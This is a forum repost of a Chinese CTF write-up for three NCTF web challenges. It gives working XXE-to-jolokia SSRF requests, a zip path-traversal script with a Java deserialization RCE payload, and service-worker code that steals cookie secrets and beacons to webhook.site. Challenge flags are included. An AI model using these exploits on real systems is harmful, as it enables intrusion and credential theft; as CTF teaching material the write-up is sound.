taibeihacker
Moderator
Web
X1cT34m_API_System
Author:wh1sper題目描述:
在API安全的新時代,安全圈迎來風雲變幻。
掀起巨浪的你?隻手遮天的你?選擇保護還是放棄你的曾經的伙伴?
target:http://129.211.173.64:58082/
附件鏈接:
hint1:
the hidden API to bypass 403
hint2:
jolokia readfile
考點:Springboot actuator配置不當導致的API安全問題
訪問/actuator/mappings,可以看到有/actuator/jolokia(限制了本地IP,直接訪問返回403)和一個隱藏的API接口/user/list。
或者可以直接拿APIKit掃到/user/list:


(這裡有倆師傅做了非預期,XXE的waf沒寫好,可以直接盲打外帶flag,我在v2限制了靶機出網無法外帶了)
但是眾所周知,XXE是可以SSRF的;
那么SSRF配合/actuator/jolokia可以完成一次利用因為是docker代理的端口,我們需要先訪問/actuator/env獲取本地服務端口:


於是後面給了附件pom.xml,可以本地起起來看一下有什麼Mbean。

com.sun.management:type=DiagnosticCommand
判斷遠程環境是否存在這個Mbean:


POST /user/list HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Cookie: JSESSIONID=4E8E18623EC2DEB1675E56DF8955D33B
Content-Type: application/xml
Content-Length: 194
?xml version='1.0'?
!DOCTYPE dy [
!ENTITY dy SYSTEM 'http://127.0.0.1:8080/actuator/jolo...iagnosticCommand/compilerDirectivesAdd/!/flag'
]
iddy;/idCOPYflag:
NCTF{Spring_actuator_And_Jolokia_1S_So_fun_by_the_way_we1com3_to_join_API_Security_Community_yulige_yyds_wysb}
ezjava
出題人ID:Pupi1題目描述:
戴教授才開放了2天的文件管理系統,還沒完成就被黑客拿下了,並往裡面藏了一點東西
附件鏈接:
鏈接:https://pan.baidu.com/s/1jB6Kcy478ashRtxEFJP1bQ
提取碼:nctf
flag:
nctf{J3va_SecUrlt9_ls_T0o_DlfficuLT}這個題其實也是一個在不支持jsp的情況下任意文件寫的rce利用
前面部分先對代碼進行審計,我們可以上傳zip,然後在解壓這裡發現

import zipfile
import os
if __name__=='__main__':
try:
zipFile=zipfile.ZipFile('poc.zip', 'a', zipfile.ZIP_DEFLATED)
info=zipfile.ZipInfo('poc.zip')
zipFile.write('poc.class','././usr/local/tomcat/webapps/html/WEB-INF/classes/com/x1c/nctf/Poc.class',zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise eCOPY那麼我們現在就相當與可以寫入任意文件了。那麼就是在spring boot運行時並且不支持jsp沒有熱部署的情況下要如何去rce的問題了(好像這裡題目在重啟的過程中jsp支持被打開了,X__X)
其實這裡給了一個後門是用來反序列化,這裡的提示其實很明顯了,我們就可以把惡意類文件寫入到classpath,如何通過反序列化去加載我們惡意類中重新的readObject方法,就可以達成rce。
題目給的附件是war,然後也有tomcat的路徑可以很輕鬆的得到classpath,然後通過unzip把惡意類解壓到classpath下,再通過後門的反序列化去觸發即可。 (這裡一開始沒給tomcat路徑是因為tomcat的路徑是默認的而且可以通過zip路由去確認是否存在該路徑,但是一直沒有解就當hint去提示師傅們了:)
exp:
package com.x1c.nctf;
import java.io.*;
import java.io.Serializable;
import com.x1c.nctf.Tool.*;
public class Poc implements Serializable {
public Poc() {
}
private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec('touch /tmp/1.txt');
}
public static void main(String[] args) throws Exception {
Poc o=new Poc();
System.out.println(Tool.base64Encode(Tool.serialize(o)));
}
}
backdoor?cmd=rO0ABXNyABBjb20ueDFjLm5jdGYuUG9jLTxEyChKw8gCAAB4cA==COPY反彈shell就可以了!
prettyjs
出題人ID:byc_404題目描述:
A useless website that gives you express template…
link:https://prettyjs.bycsec404.top
附件鏈接:
鏈接:https://pan.baidu.com/s/174wSQKQH08l-UtniPR0UVA
提取碼:1txc
flag:
nctf{anyone_get_me_a_job_to_study_on_javascript

下面是預期的思路流程:
審計代碼後可知我們需要構造cookie,而cookie所需的ADMIN_USERNAME與COOKIE_SECRET來自admin bot在/api/template路由下的template內容。
然而理論上站內並沒有xss的地方,因此出發點只能是:讓bot訪問我們自己服務器,並向題目網站進行跨域請求。
而跨域就要面對SOP(Same Origin Policy)的限制。雖然題目的cookie samesite 屬性被設置為none,使得cookie在我們服務器的域仍然有效,但通過fetch,XMLHttpRequest等等手段都會受到SOP的限制,請求發出去了,但是response返回後不會讓javascript獲取到。


此處referer的檢查其實也是目前很多主流web服務/中間件在jsonp,視頻地址等等接口檢查referer的手段:如果存在referer頭,判斷下是否是從我們自己站過來的。但這樣的檢查手段繞過也很簡單,只需要不帶referer即可。
那麼現在關鍵是需要跨域加載且拿到返回值。而我們知道script在進行跨域加載js時是不會受到SOP的限制的,其返回內容也在控制範圍內。但是此處script有兩個問題需要解決
/api/template 內容並不是單純js/api/template 是post路由我們依次來解決這兩個問題。
第一個問題,首先/api/template的內容是由可控的userame+'s Awesome experss page! Check below ?以及一份expressjs 的簡單代碼組成的。後面一部分代碼自然是合法的js代碼。那前一部分呢?是不是只要註釋掉第一行,整個頁面的內容就是合法js了?
答案是肯定的。只不過此處username被限制了,不能使用/。那//或/*都不能使用。不過我們完全可以用前端下js的另一種註釋方式:--來註釋掉第一行。這樣就讓整個/api/template的內容成為合法js了。

因為要註冊service worker,所以這裡我本地起一個node server提供http 服務,然後用ngrok 為我們獲取一個臨時的https域名。其中sw.js將發往/api/template的請求方式由get換成post.
server.js
const express=require('express');
const app=express();
const logger=require('morgan');
app.use(logger('dev'));
app.get('/', (_, res)={
return res.sendFile(__dirname + '/solve.html');
})
app.get('/exp', (_, res)={
return res.sendFile(__dirname + '/exp.html');
})
app.get('/sw.js', (_, res)={
res.type('application/javascript');
return res.send(`self.addEventListener('fetch', (event)={
event.respondWith((async ()={
let resp;
if (event.request.url.includes('template')) {
resp=await fetch(event.request, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'username=!--',
referrerPolicy: 'no-referrer'
});
return resp;
} else {
return await fetch(event.request);
}
})());
});`)
})
app.listen(9000)COPYsolve.html.用於註冊service worker
!DOCTYPE html
html
head
titleSolve/title
script
if ('serviceWorker' in navigator) {
window.addEventListener('load', ()={
const sw='https://6ad8-47-94-110-102.ngrok.io/sw.js';
navigator.serviceWorker.register(sw, { scope: '/' })
.then((register)={
navigator.sendBeacon('https://webhook.site/e708eb94-ea07-490a-969a-742d40033925', 'Successfully register');
setTimeout(()={
window.open('/exp')
}, 100);
}, (err)={
navigator.sendBeacon('https://webhook.site/e708eb94-ea07-490a-969a-742d40033925', 'Failed to register');
console.log('Service worker error:', err);
});
});
}
/script
/head
body
byc_404 got this
/body
/htmlCOPYexp.html。加載/api/template並通過hook的手段拿到ADMIN_USERNAME與COOKIE_SECRET。這裡主要是重寫與增加了一些函數使得nodejs下的代碼放到前端js仍然合法。同時我們要獲取的內容語句是:global.process.env.ADMIN_USERNAME.setFlag(COOKIE_SECRET)。我們可以使用Proxy來hookglobal每次訪問屬性或調用方法的操作。
body
script
const target='https://prettyjs.bycsec404.top';
const script=document.createElement('script');
script.referrerpolicy='no-referrer';
script.src=target + '/api/template'
document.body.appendChild(script);
const require=(module)={
if (module=='express') {
return ()={
return {
use: ()={ },
all: ()={ },
listen: ()={ },
get: (data, func)={
Object.prototype.global=new Proxy({}, handler);
func('byc_404', { send: ()={ } });